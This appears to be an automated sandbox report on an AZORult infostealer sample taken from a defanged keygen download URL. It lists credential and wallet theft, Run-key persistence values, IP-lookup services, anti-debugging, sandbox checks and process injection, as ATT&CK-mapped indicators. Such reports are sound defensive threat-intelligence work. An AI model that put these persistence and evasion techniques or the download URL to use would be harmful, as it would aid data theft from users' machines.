azorult | hxxps://keygenit[.]com/d/0f26cf244e1108834498[.]html

System Information Discovery

Processes:

Myfoxebushae.exekeygen-step-4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Myfoxebushae.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	keygen-step-4.exe

Loads dropped DLL 14 IoCs

Processes:

rundll32.exeregsvr32.exeInstall.tmp8171.tmp.exerundll32.exemain.exeSunLabsPlayer.exetoolspab1.exec7ae36fa.exe

pid	process
3736	rundll32.exe
4404	regsvr32.exe
3252	Install.tmp
4120	8171.tmp.exe
4120	8171.tmp.exe
4120	8171.tmp.exe
4120	8171.tmp.exe
4120	8171.tmp.exe
5260	rundll32.exe
5676	main.exe
1152	SunLabsPlayer.exe
6048	toolspab1.exe
1152	SunLabsPlayer.exe
5536	c7ae36fa.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

6743415.exeUltra.exeFC6E.tmp.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe"	6743415.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\Saerahezhaeka.exe\""	Ultra.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	FC6E.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\waupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\waupdat3.exe"	FC6E.tmp.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

jg6_6asg.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg6_6asg.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg6_6asg.exe

Looks up external IP address via web service 18 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
394	api.ipify.org
400	wtfismyip.com
396	api.ipify.org
399	icanhazip.com
401	wtfismyip.com
402	wtfismyip.com
83	ip-api.com
134	api.ipify.org
273	api.myip.com
391	ipinfo.io
392	ipinfo.io
403	bot.whatismyipaddress.com
397	icanhazip.com
398	icanhazip.com
257	ip-api.com
272	api.myip.com
390	ipinfo.io
395	api.ipify.org

Drops file in System32 directory 3 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\3LIGW3B5.cookie	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\3LIGW3B5.cookie	svchost.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

regsvr32.exe

pid process

4404 regsvr32.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

Processes:

main.exe

pid process

5676 main.exe
5676 main.exe
5676 main.exe
5676 main.exe
5676 main.exe
5676 main.exe

pid	process
4404	regsvr32.exe

pid	process
5676	main.exe
5676	main.exe
5676	main.exe
5676	main.exe
5676	main.exe
5676	main.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

svchost.exeFC6E.tmp.exeF9DD.tmp.exe201401871.exetoolspab1.exeABCbrowser.exe

description	pid	process	target process
PID 1136 set thread context of 4248	1136	svchost.exe	svchost.exe
PID 5896 set thread context of 4796	5896	FC6E.tmp.exe	msiexec.exe
PID 5896 set thread context of 3848	5896	FC6E.tmp.exe	msiexec.exe
PID 5660 set thread context of 2052	5660	F9DD.tmp.exe	F9DD.tmp.exe
PID 5960 set thread context of 4540	5960	201401871.exe	AddInProcess32.exe
PID 5804 set thread context of 6048	5804	toolspab1.exe	toolspab1.exe
PID 5588 set thread context of 1000	5588	ABCbrowser.exe	AddInProcess32.exe

Drops file in Program Files directory 64 IoCs

Processes:

SunLabsPlayer.exeultramediaburner.tmpUltra.exexiuhuali.exegoogle-game.exe

description	ioc	process
File created	C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libclone_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile_equalizer.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\bbc_co_uk.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libcdda_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwaveout_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libes_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files\Windows Sidebar\GLPBYGDIJI\ultramediaburner.exe	Ultra.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\controllers.js	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libmod_plugin.dll	SunLabsPlayer.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm_cmd.xml	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libtimecode_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\buttons.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libnfs_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwasapi_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_dummy_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libudp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile_browse.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libtta_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_wasapi_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libflacsys_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libfolder_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libsmb_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libdemux_cdg_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\librawaud_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\Saerahezhaeka.exe	Ultra.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsfsstorage_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_ps_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files\install.dll	xiuhuali.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\main.css	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\youtube.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libtaglib_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libhttp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\libwin_msg_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\logger\libfile_logger_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\libssp-0.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libty_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\libdummy_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libmpgv_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libreal_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\dumpmeta.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\liveleak.luac	SunLabsPlayer.exe
File opened for modification	C:\Program Files\install.dll	google-game.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\common.js	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\browse_window.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc16x16.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\liboldrc_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\vlm.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libpva_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libsatip_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libtcp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\libgestures_plugin.dll	SunLabsPlayer.exe

Drops file in Windows directory 1 IoCs

Processes:

MicrosoftEdge.exe

description ioc process

File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Program crash 8 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
6120	4132	WerFault.exe	62D5.exe
3216	4132	WerFault.exe	62D5.exe
5004	4132	WerFault.exe	62D5.exe
5600	4132	WerFault.exe	62D5.exe
5964	4132	WerFault.exe	62D5.exe
5044	4132	WerFault.exe	62D5.exe
2808	4132	WerFault.exe	62D5.exe
5304	4132	WerFault.exe	62D5.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

toolspab1.exec7ae36fa.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7ae36fa.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7ae36fa.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7ae36fa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

svchost.exeF9DD.tmp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	F9DD.tmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	F9DD.tmp.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

5484 timeout.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

5224 bitsadmin.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

3956 taskkill.exe
5660 taskkill.exe

pid	process
5484	timeout.exe

pid	process
5224	bitsadmin.exe

pid	process
3956	taskkill.exe
5660	taskkill.exe

Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs

Modify Registry

Processes:

iexplore.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = 6ead5207ab2cd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\PhishingFilter	iexplore.exe

Modifies Internet Explorer settings 1 TTPs 54 IoCs

adware spyware

Modify Registry

Processes:

iexplore.exeIEXPLORE.EXEMicrosoftEdgeCP.exeMicrosoftEdge.exebrowser_broker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Telligent	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30881705"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007c369e1f7dd80e4a838305ff88bb1ffa000000000200000000001066000000010000200000003027f703ebdf49bc6eb2f9dec2b395d59952a2d017b7f01a95b2d06b1161b3fc000000000e8000000002000020000000559d516ea976514fbf9a754553372b023b215449a095ee6bc6b9a4dcd440136d200000002c5885de4695cc134560a1e4cbe3702ec2fcd4bb21b776122cc462ae7bdf995440000000fa71e01f4122d9c914d7548a28c8cd94f062e21742c6b161188c0c4f82dcc6fd441d4ec29ceb3477e18a2be7952f413a24581e72aa5756dae22a08c58dea39de	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\RepId\PublicId = "{04961659-4EBD-40CF-B22E-E5D8F2136D46}"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$blogger	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2455185042"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30881705"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Discuz!	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$http://www.typepad.com/	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0514299a937d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\NextUpdateDate = "325931482"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate\NextUpdateDate = "325899490"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2518784760"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$WordPress	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 3	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{BC94D4C5-A39C-11EB-B2DB-DAB5BEA07F06} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 4	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30881705"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\RepId	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10fb7d99a937d701	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\FileVersion = "2016061511"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007c369e1f7dd80e4a838305ff88bb1ffa00000000020000000000106600000001000020000000aec43451299e6d4d668ba947897b3a47944bb221558b11de91328b7964543e61000000000e80000000020000200000009cd26fde1e2e06774c7b1419a74a813e0c4e41263e615b1a9c06ebc8baa6f87d200000008968bf18c6b3b27b0a7b163d9a48dae3c2b345f87a3feaba56baec9ddb6b6b7c400000003b15f2884caf9949dab862306fe6ce9891ac2b0d69f8f51cbbab6653f4f66a8e7c622f98f09b31c9b117e655ec796228742a1624be3e6f0f89fcffd74196339f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2455185042"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "325882896"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$MediaWiki	iexplore.exe

Modifies data under HKEY_USERS 13 IoCs

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exerundll32.exeMicrosoftEdgeCP.exesvchost.exesvchost.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser	MicrosoftEdge.exe
